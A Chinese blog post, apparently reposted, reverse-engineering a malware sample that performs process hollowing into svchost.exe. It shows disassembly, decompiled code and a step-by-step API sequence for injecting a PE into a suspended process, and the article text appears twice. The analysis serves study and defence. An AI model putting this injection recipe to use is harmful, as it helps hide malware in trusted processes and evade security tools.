[原創]兩個樣本分析,兩種程式注入學習
anhkgg發表於2019-02-25
對於具體功能,沒怎麼分析,主要是為了學習兩種技術,希望大牛們多多指教
1. 起因
某次卡飯hips瀏覽中,看到某高大上程式注入方式(主要是某人頭髮長),驚為天人,技術堪稱猥瑣之王(抬高了?),額。。。不捧了。由於沒有樣本,也沒有搜尋到資料,只能作罷。
某天,突然來了興致,要分析個樣本,隨便在卡飯樣本區下了個感覺挺啥啥的樣本,一分析,你妹,咋這麼熟悉呢,居然就是同類的程式注入,然後某人就有了下面的文章。
2. 分析與實現
2.1 PEID
殼資訊:Microsoft Visual C++ v6.0,無殼
檔名:bbs.exe
既然無殼,直接ida先分析一下,遇到無法分析的OD繼續除錯。
2.2 分析
開啟IDA,拖入檔案,找到主函式:
.text:0040A720 ; int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
.text:0040A720
.text:0040A720 push ebp
.text:0040A721 mov ebp, esp
.text:0040A723 push ecx
.text:0040A724 call sub_408BE0
.text:0040A729 mov esp_4FEE68, esp
.text:0040A72F mov esp_4FEE6C, ebp
.text:0040A735 call sub_408929//主功能函式
.text:0040A73A mov [ebp+var_4], eax
.text:0040A73D mov eax, [ebp+var_4]
.text:0040A740 mov esp, ebp
.text:0040A742 pop ebp
.text:0040A743 retn 10h
.text:0040A743 _WinMain@16 endp
沒什麼東西,繼續sub_408929:
.text:00408929 sub_408929 proc near ; CODE XREF: WinMain(x,x,x,x)+15p
.text:00408929 cld
.text:0040892A fninit
.text:0040892C call myNewObj
.text:00408931 push offset sub_406C2A
.text:00408936 mov eax, 3
.text:0040893B call myInitFunc
.text:00408940 add esp, 4
.text:00408943 call sub_40101D//這幾個都是些無用函式,多半是花指令
.text:00408948 call sub_406B84
.text:0040894D call sub_406BDB
.text:00408952 call sub_401000
.text:00408957 call sub_406BBE
.text:0040895C call sub_406BA1
.text:00408961 call sub_406BF8
.text:00408966 call myReleaseFile//檔案釋放,可能是功能檔案
.text:0040896B push eax ; uExitCode
.text:0040896C call nullsub_1
.text:00408971 call j_myExit
.text:00408976 add esp, 4
.text:00408979 retn
.text:00408979 sub_408929 endp
其他函式都沒有什麼重要的程式碼,接著看看myReleaseFile,程式碼太多,直接f5看看整體流程,結構:
int __cdecl myReleaseFile()
{
lpMem = "QzpcUHJvZ3JhbSBGaWxlc1xDb21tb24gRmlsZXNcTWljcm9zb2Z0IFNoYXJlZFxNU0luZm9ca2trLnR4dA==";// C:\Program Files\Common Files\Microsoft Shared\MSInfo\kkk.txt
v12 = (void *)myBase64Dec(&lpMem);
if ( lpMem )
j_myIsInMyImg(lpMem);
v1 = (int)v12;
if ( !v12 )
v1 = (int)dword_416285;
pszPath = (LPCSTR)myFormat(ebp0, 1, (unsigned int)v1, 0x80000005u);// C:\Program Files\Common Files\Microsoft Shared\MSInfo\kkk.txt
v2 = (int)v12;
if ( v12 )
j_myIsInMyImg(v12);
v10 = (int *)&v6;
v3 = PathFileExistsA(pszPath);
if ( (void **)v10 != &v6 )
v3 = myRunError(v2, 6);
v9 = v3;
if ( pszPath )
j_myIsInMyImg((void *)pszPath);
if ( v9 == 1 )
{
lpMem = "我是一箇中國人";//恩,很愛國
v12 = "34,85,10,1D,04,D1,CF,42,DF,A4,B0,";
pszPath = (LPCSTR)myDecStr(&v12, &lpMem); // 字串解密,"svchost.exe"
if ( v12 )
j_myIsInMyImg(v12);
if ( lpMem )
j_myIsInMyImg(lpMem);
v4 = j_myNewBuf(ebp0, 0x10u);
v10 = (int *)v4;
*(_DWORD *)v4 = 0;
*((_DWORD *)v4 + 1) = 0;
*((_DWORD *)v4 + 2) = 0;
*((_DWORD *)v4 + 3) = 0;
v9 = 0;
v8 = 0;
v7 = 0;
v6 = &unk_4162BE;
myWork(&v6, &v7, 0, &pszPath, 1, 0, 0, 0, 0, &v10, 0);//注入程式的功能,程式碼中很多混淆
if ( v6 )
j_myIsInMyImg(v6);
if ( v7 )
j_myIsInMyImg(v7);
if ( pszPath )
j_myIsInMyImg((void *)pszPath);
j_myIsInMyImg(v10);
sub_40574F();
}
return 0;
}
由於在myWork中太多混淆,IDA無力,轉戰OD,看到高大上的程式注入。由於程式碼混淆,太多PE操作,而且IDA沒有有效識別記憶體複製函式,給分析帶來了較大困難。
下面是主要的程式注入用到的函式表,myWork中呼叫這些關鍵函式,都是透過該函式表呼叫,裡面透過loaddll+getprocaddress獲取到函式地址,返回,然後呼叫:
.data:004FB87F myLocalSize1 dd offset myLocalSize ; DATA XREF: .text:00402CACr
.data:004FB883 myRtlMoveMemory1 dd offset myRtlMoveMemory ; DATA XREF: .text:00402F32r
.data:004FB887 myLocalSize2 dd offset sub_4089DC ; DATA XREF: .text:00403303r
.data:004FB88B myRtlMoveMemory2 dd offset sub_4089F2 ; DATA XREF: .text:00403701r
.data:004FB88F myLocalSize3 dd offset sub_408A08 ; DATA XREF: .text:00403A06r
.data:004FB893 myCreateProcessA dd offset sub_408A1E ; DATA XREF: .text:00403DEEr
.data:004FB897 myGetThreadContext dd offset sub_408A34 ; DATA XREF: sub_403FC0+C8r
.data:004FB89B myReadProcessMemory dd offset sub_408A4A ; DATA XREF: sub_403FC0+2E9r
.data:004FB89F myZwUnmapViewOfSection dd offset sub_408A60 ; DATA XREF: sub_403FC0+335r
.data:004FB8A3 myVirtualAllocEx dd offset sub_408A76 ; DATA XREF: sub_403FC0+3ACr
.data:004FB8A7 myWriteProcessMemory dd offset sub_408A8C ; DATA XREF: sub_403FC0+43Fr
.data:004FB8AB myLocalSize5 dd offset sub_408AA2 ; DATA XREF: sub_403FC0+9A7r
.data:004FB8AF myRtlMoveMemory_0 dd offset sub_408AB8 ; DATA XREF: sub_403FC0+B0Er
.data:004FB8B3 myVirtualProtectEx dd offset sub_408ACE ; DATA XREF: sub_403FC0+D60r
.data:004FB8B7 myWriteProcessMemory_0 dd offset sub_408AE4 ; DATA XREF: sub_403FC0+DD2r
.data:004FB8BB mySetThreadContext dd offset sub_408AFA ; DATA XREF: sub_403FC0+FA8r
.data:004FB8BF myResumeThread dd offset sub_408B10 ; DATA XREF: sub_403FC0+1172r
.data:004FB8C3 myWaitForSingleObject dd offset sub_408B26 ; DATA XREF: sub_403FC0+11ADr
.data:004FB8C7 myCloseHandle_ dd offset sub_408B3C ; DATA XREF: sub_403FC0+11E6r
.data:004FB8CB myGetEnvironmentVariableA dd offset sub_408B52
.data:004FB8CF myTerminateProcess dd offset sub_408B68 ; DATA XREF: sub_4053DE+1Er
.data:004FB8D3 myReadFileEx dd offset sub_408B7E ; DATA XREF: sub_405FAA+1E2r
.data:004FB8D7 myGetFileSize dd offset sub_408B94 ; DATA XREF: sub_4063B0+DFr
.data:004FB8DB myCloseHandle dd offset sub_408BAA ; DATA XREF: sub_4064C4+1Dr
.data:004FB8DF myLocalFree dd offset sub_408BC0 ; DATA XREF: sub_4065D9+541r
獲取函式的程式碼結構:
.text:004089B0 myLocalSize proc near ; CODE XREF: .text:00402CACp
.text:004089B0 ; DATA XREF: .data:myLocalSize1o
.text:004089B0 push offset myLocalSize1 ; int
.text:004089B5 push offset aLocalsize ; "LocalSize"
.text:004089BA push offset aKernel32 ; "kernel32"
.text:004089BF call myGetProc
.text:004089C4 jmp eax
.text:004089C4 myLocalSize endp
最後基本總結了myWork的程式碼邏輯,也一窺了程式注入的猥瑣:
CreateProcessA(0, "svchost.exe", 0, 0, 0, 4/*CREATE_SUSPENDED*/, 0, 0, &sa, &pi );//按suspend建立程式,這樣主執行緒就會掛起,等待後面的宰割
GetThreadContext(pi.hThread, &context);
ReadProcessMemory(pi.hProcess, 0x7ffde008/*peb->ImageBaseAddress*/, buf, 4, &size); /*獲取到的是img基地址 peb->ImageBaseAddress*/
ZwUnmapViewOfSection(pi.hProcess, buf);//這裡有個bug,buf傳遞方式錯誤,導致無法unmap,應該是&buf
VirtualAllocEx(pi.hProcess, 0x400000, size, MEM_COMMIT|MEM_RESERVE/*0x3000*/, PAGE_READWRITE/**4/ );
//解析PE檔案,寫入程式對應位置
WriteProcessMemory(pi.hProcess, 0x400000, buf, 0x1000, &size);//寫入頭部
for(i =0 ;i<num_of_sec; i++)
{
WriteProcessMemory(pi.hProcess, 0x400000+sec[i].va, buf, sec[i].size, &size);//.text, .rdata, .data
VirtualProtectEx(pi.hProcess, 0x400000+sec[i].va, sec[i].size, NewProtect, &oldProtect);//PAGE_EXECUTE_READ, PAGE_READONLY, PAGE_READWRITE
}
//重寫eop
//重寫基地址
WriteProcessMemory(pi.hProcess, 0x7ffde008/*peb->ImageBaseAddress*/, MyBaseAddr, 4, &size);//寫入我的img 基地址 0x400000
SetThreadContext(pi.hProcess, context);//恢復
ResumeThread(pi.hThread);//恢復執行緒執行
3. 總結
本來打算完整分析一下的,在分析到程式注入時,由於自己程式碼實現中,遇到了一些問題,除錯無語,eop和基地址都改寫了,那麼就是對映section遇到問題,終於修改成
直接pe完整寫入宿主程式,成功執行了注入程式的功能。
所以,後面也沒時間具體分析樣本的功能了。
測試了該方式,無法過掉主防,在WriteProcessMemory就會被攔截,所以該方式基本只是作為技術研究,直接使用,還需努力。
4. 參考
[1] http://www.cnblogs.com/lbq1221119/archive/2008/07/22/1248706.html
[2] http://blog.csdn.net/darthas/article/details/12569443
還有一篇,由於內容太多,就不貼了,連結是:http://t.cn/RztLocT
樣本:
1. 起因
某次卡飯hips瀏覽中,看到某高大上程式注入方式(主要是某人頭髮長),驚為天人,技術堪稱猥瑣之王(抬高了?),額。。。不捧了。由於沒有樣本,也沒有搜尋到資料,只能作罷。
某天,突然來了興致,要分析個樣本,隨便在卡飯樣本區下了個感覺挺啥啥的樣本,一分析,你妹,咋這麼熟悉呢,居然就是同類的程式注入,然後某人就有了下面的文章。
2. 分析與實現
2.1 PEID
殼資訊:Microsoft Visual C++ v6.0,無殼
檔名:bbs.exe
既然無殼,直接ida先分析一下,遇到無法分析的OD繼續除錯。
2.2 分析
開啟IDA,拖入檔案,找到主函式:
.text:0040A720 ; int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
.text:0040A720
.text:0040A720 push ebp
.text:0040A721 mov ebp, esp
.text:0040A723 push ecx
.text:0040A724 call sub_408BE0
.text:0040A729 mov esp_4FEE68, esp
.text:0040A72F mov esp_4FEE6C, ebp
.text:0040A735 call sub_408929//主功能函式
.text:0040A73A mov [ebp+var_4], eax
.text:0040A73D mov eax, [ebp+var_4]
.text:0040A740 mov esp, ebp
.text:0040A742 pop ebp
.text:0040A743 retn 10h
.text:0040A743 _WinMain@16 endp
沒什麼東西,繼續sub_408929:
.text:00408929 sub_408929 proc near ; CODE XREF: WinMain(x,x,x,x)+15p
.text:00408929 cld
.text:0040892A fninit
.text:0040892C call myNewObj
.text:00408931 push offset sub_406C2A
.text:00408936 mov eax, 3
.text:0040893B call myInitFunc
.text:00408940 add esp, 4
.text:00408943 call sub_40101D//這幾個都是些無用函式,多半是花指令
.text:00408948 call sub_406B84
.text:0040894D call sub_406BDB
.text:00408952 call sub_401000
.text:00408957 call sub_406BBE
.text:0040895C call sub_406BA1
.text:00408961 call sub_406BF8
.text:00408966 call myReleaseFile//檔案釋放,可能是功能檔案
.text:0040896B push eax ; uExitCode
.text:0040896C call nullsub_1
.text:00408971 call j_myExit
.text:00408976 add esp, 4
.text:00408979 retn
.text:00408979 sub_408929 endp
其他函式都沒有什麼重要的程式碼,接著看看myReleaseFile,程式碼太多,直接f5看看整體流程,結構:
int __cdecl myReleaseFile()
{
lpMem = "QzpcUHJvZ3JhbSBGaWxlc1xDb21tb24gRmlsZXNcTWljcm9zb2Z0IFNoYXJlZFxNU0luZm9ca2trLnR4dA==";// C:\Program Files\Common Files\Microsoft Shared\MSInfo\kkk.txt
v12 = (void *)myBase64Dec(&lpMem);
if ( lpMem )
j_myIsInMyImg(lpMem);
v1 = (int)v12;
if ( !v12 )
v1 = (int)dword_416285;
pszPath = (LPCSTR)myFormat(ebp0, 1, (unsigned int)v1, 0x80000005u);// C:\Program Files\Common Files\Microsoft Shared\MSInfo\kkk.txt
v2 = (int)v12;
if ( v12 )
j_myIsInMyImg(v12);
v10 = (int *)&v6;
v3 = PathFileExistsA(pszPath);
if ( (void **)v10 != &v6 )
v3 = myRunError(v2, 6);
v9 = v3;
if ( pszPath )
j_myIsInMyImg((void *)pszPath);
if ( v9 == 1 )
{
lpMem = "我是一箇中國人";//恩,很愛國
v12 = "34,85,10,1D,04,D1,CF,42,DF,A4,B0,";
pszPath = (LPCSTR)myDecStr(&v12, &lpMem); // 字串解密,"svchost.exe"
if ( v12 )
j_myIsInMyImg(v12);
if ( lpMem )
j_myIsInMyImg(lpMem);
v4 = j_myNewBuf(ebp0, 0x10u);
v10 = (int *)v4;
*(_DWORD *)v4 = 0;
*((_DWORD *)v4 + 1) = 0;
*((_DWORD *)v4 + 2) = 0;
*((_DWORD *)v4 + 3) = 0;
v9 = 0;
v8 = 0;
v7 = 0;
v6 = &unk_4162BE;
myWork(&v6, &v7, 0, &pszPath, 1, 0, 0, 0, 0, &v10, 0);//注入程式的功能,程式碼中很多混淆
if ( v6 )
j_myIsInMyImg(v6);
if ( v7 )
j_myIsInMyImg(v7);
if ( pszPath )
j_myIsInMyImg((void *)pszPath);
j_myIsInMyImg(v10);
sub_40574F();
}
return 0;
}
由於在myWork中太多混淆,IDA無力,轉戰OD,看到高大上的程式注入。由於程式碼混淆,太多PE操作,而且IDA沒有有效識別記憶體複製函式,給分析帶來了較大困難。
下面是主要的程式注入用到的函式表,myWork中呼叫這些關鍵函式,都是透過該函式表呼叫,裡面透過loaddll+getprocaddress獲取到函式地址,返回,然後呼叫:
.data:004FB87F myLocalSize1 dd offset myLocalSize ; DATA XREF: .text:00402CACr
.data:004FB883 myRtlMoveMemory1 dd offset myRtlMoveMemory ; DATA XREF: .text:00402F32r
.data:004FB887 myLocalSize2 dd offset sub_4089DC ; DATA XREF: .text:00403303r
.data:004FB88B myRtlMoveMemory2 dd offset sub_4089F2 ; DATA XREF: .text:00403701r
.data:004FB88F myLocalSize3 dd offset sub_408A08 ; DATA XREF: .text:00403A06r
.data:004FB893 myCreateProcessA dd offset sub_408A1E ; DATA XREF: .text:00403DEEr
.data:004FB897 myGetThreadContext dd offset sub_408A34 ; DATA XREF: sub_403FC0+C8r
.data:004FB89B myReadProcessMemory dd offset sub_408A4A ; DATA XREF: sub_403FC0+2E9r
.data:004FB89F myZwUnmapViewOfSection dd offset sub_408A60 ; DATA XREF: sub_403FC0+335r
.data:004FB8A3 myVirtualAllocEx dd offset sub_408A76 ; DATA XREF: sub_403FC0+3ACr
.data:004FB8A7 myWriteProcessMemory dd offset sub_408A8C ; DATA XREF: sub_403FC0+43Fr
.data:004FB8AB myLocalSize5 dd offset sub_408AA2 ; DATA XREF: sub_403FC0+9A7r
.data:004FB8AF myRtlMoveMemory_0 dd offset sub_408AB8 ; DATA XREF: sub_403FC0+B0Er
.data:004FB8B3 myVirtualProtectEx dd offset sub_408ACE ; DATA XREF: sub_403FC0+D60r
.data:004FB8B7 myWriteProcessMemory_0 dd offset sub_408AE4 ; DATA XREF: sub_403FC0+DD2r
.data:004FB8BB mySetThreadContext dd offset sub_408AFA ; DATA XREF: sub_403FC0+FA8r
.data:004FB8BF myResumeThread dd offset sub_408B10 ; DATA XREF: sub_403FC0+1172r
.data:004FB8C3 myWaitForSingleObject dd offset sub_408B26 ; DATA XREF: sub_403FC0+11ADr
.data:004FB8C7 myCloseHandle_ dd offset sub_408B3C ; DATA XREF: sub_403FC0+11E6r
.data:004FB8CB myGetEnvironmentVariableA dd offset sub_408B52
.data:004FB8CF myTerminateProcess dd offset sub_408B68 ; DATA XREF: sub_4053DE+1Er
.data:004FB8D3 myReadFileEx dd offset sub_408B7E ; DATA XREF: sub_405FAA+1E2r
.data:004FB8D7 myGetFileSize dd offset sub_408B94 ; DATA XREF: sub_4063B0+DFr
.data:004FB8DB myCloseHandle dd offset sub_408BAA ; DATA XREF: sub_4064C4+1Dr
.data:004FB8DF myLocalFree dd offset sub_408BC0 ; DATA XREF: sub_4065D9+541r
獲取函式的程式碼結構:
.text:004089B0 myLocalSize proc near ; CODE XREF: .text:00402CACp
.text:004089B0 ; DATA XREF: .data:myLocalSize1o
.text:004089B0 push offset myLocalSize1 ; int
.text:004089B5 push offset aLocalsize ; "LocalSize"
.text:004089BA push offset aKernel32 ; "kernel32"
.text:004089BF call myGetProc
.text:004089C4 jmp eax
.text:004089C4 myLocalSize endp
最後基本總結了myWork的程式碼邏輯,也一窺了程式注入的猥瑣:
CreateProcessA(0, "svchost.exe", 0, 0, 0, 4/*CREATE_SUSPENDED*/, 0, 0, &sa, &pi );//按suspend建立程式,這樣主執行緒就會掛起,等待後面的宰割
GetThreadContext(pi.hThread, &context);
ReadProcessMemory(pi.hProcess, 0x7ffde008/*peb->ImageBaseAddress*/, buf, 4, &size); /*獲取到的是img基地址 peb->ImageBaseAddress*/
ZwUnmapViewOfSection(pi.hProcess, buf);//這裡有個bug,buf傳遞方式錯誤,導致無法unmap,應該是&buf
VirtualAllocEx(pi.hProcess, 0x400000, size, MEM_COMMIT|MEM_RESERVE/*0x3000*/, PAGE_READWRITE/**4/ );
//解析PE檔案,寫入程式對應位置
WriteProcessMemory(pi.hProcess, 0x400000, buf, 0x1000, &size);//寫入頭部
for(i =0 ;i<num_of_sec; i++)
{
WriteProcessMemory(pi.hProcess, 0x400000+sec[i].va, buf, sec[i].size, &size);//.text, .rdata, .data
VirtualProtectEx(pi.hProcess, 0x400000+sec[i].va, sec[i].size, NewProtect, &oldProtect);//PAGE_EXECUTE_READ, PAGE_READONLY, PAGE_READWRITE
}
//重寫eop
//重寫基地址
WriteProcessMemory(pi.hProcess, 0x7ffde008/*peb->ImageBaseAddress*/, MyBaseAddr, 4, &size);//寫入我的img 基地址 0x400000
SetThreadContext(pi.hProcess, context);//恢復
ResumeThread(pi.hThread);//恢復執行緒執行
3. 總結
本來打算完整分析一下的,在分析到程式注入時,由於自己程式碼實現中,遇到了一些問題,除錯無語,eop和基地址都改寫了,那麼就是對映section遇到問題,終於修改成
直接pe完整寫入宿主程式,成功執行了注入程式的功能。
所以,後面也沒時間具體分析樣本的功能了。
測試了該方式,無法過掉主防,在WriteProcessMemory就會被攔截,所以該方式基本只是作為技術研究,直接使用,還需努力。
4. 參考
[1] http://www.cnblogs.com/lbq1221119/archive/2008/07/22/1248706.html
[2] http://blog.csdn.net/darthas/article/details/12569443
還有一篇,由於內容太多,就不貼了,連結是:http://t.cn/RztLocT
樣本:
相關文章
- 兩個火車頭原創外掛網站2020-10-15網站
- 如果兩個程式都這樣做會怎樣?2013-11-06
- 新手起步創業的兩種模式2022-06-24創業模式
- 學習筆記 ProgressBar三種style 水平兩種寫法2021-02-20筆記
- 學兩個月前端後做了個這樣的網站2023-12-01前端網站
- 兩種程式設計高手2016-06-15程式設計
- 程式碼安全 兩種程式碼漏洞2022-07-05
- 分享兩個小程式2018-08-26
- 我在學習程式設計中犯的兩個最大錯誤2012-09-10程式設計
- java創造匿名物件的兩種方法2021-09-11Java物件
- (原創)Linux跟Window共享檔案的兩個簡單方法2014-06-27Linux
- 兩種Oracle應用程式開發介面之簡要分析2007-06-05Oracle
- 【個人成長】在家學習的這兩個月2018-09-26
- COPA 獲利分析的兩種方式比較2010-09-02
- 兩種Java容器類List和Set分析2007-08-23Java
- 兩種方案開發小程式動畫2018-11-09動畫
- 兩個程式設計師2012-11-01程式設計師
- 深度學習-TF、keras兩種padding方式:vaild和sam2019-02-19深度學習KeraspaddingAI
- 小樣本學習,路在何方?2020-01-10
- C語言學習 兩個數的平方和2020-11-15C語言
- 交換兩個資料的三種方法2020-11-09
- 學java就兩個問題2018-06-11Java
- 我今天才知道:學習程式設計和學習程式語言是兩碼事2020-08-31程式設計
- Spring依賴注入的兩種方式(根據例項詳解)2017-05-16Spring依賴注入
- MacOS下NSWindowZoomButton兩種形式(兩種綠色交通燈)2020-10-09MacOOM
- Postgresql注入研究三兩事(續集)2009-07-15SQL
- 合成圖片的兩種方法,思路都是一樣的2014-10-17
- 建立安裝程式的兩種方法 (轉)2007-12-04
- css實現一個文字兩種顏色程式碼例項2017-03-29CSS
- Redis學習 RDB和AOF兩種持久化介紹以及實現2019-04-08Redis持久化
- 兩行程式碼 寫個代理2019-05-14行程
- 再來檢視兩個程式2008-04-11
- EXT學習之——Ext兩個js之間的傳參2016-11-16JS
- 總結2020:5個月出版兩本書,日更公眾號是一種怎樣的體驗?2020-12-31
- 社群電商PK平臺電商:兩大陣營六個樣本,各自的朝聖路!2016-02-18
- 程式設計師創業的兩難困境2013-04-05程式設計師創業
- lodash原始碼分析之自減的兩種形式2018-01-08原始碼
- alert日誌中的兩種ORA錯誤分析2015-08-07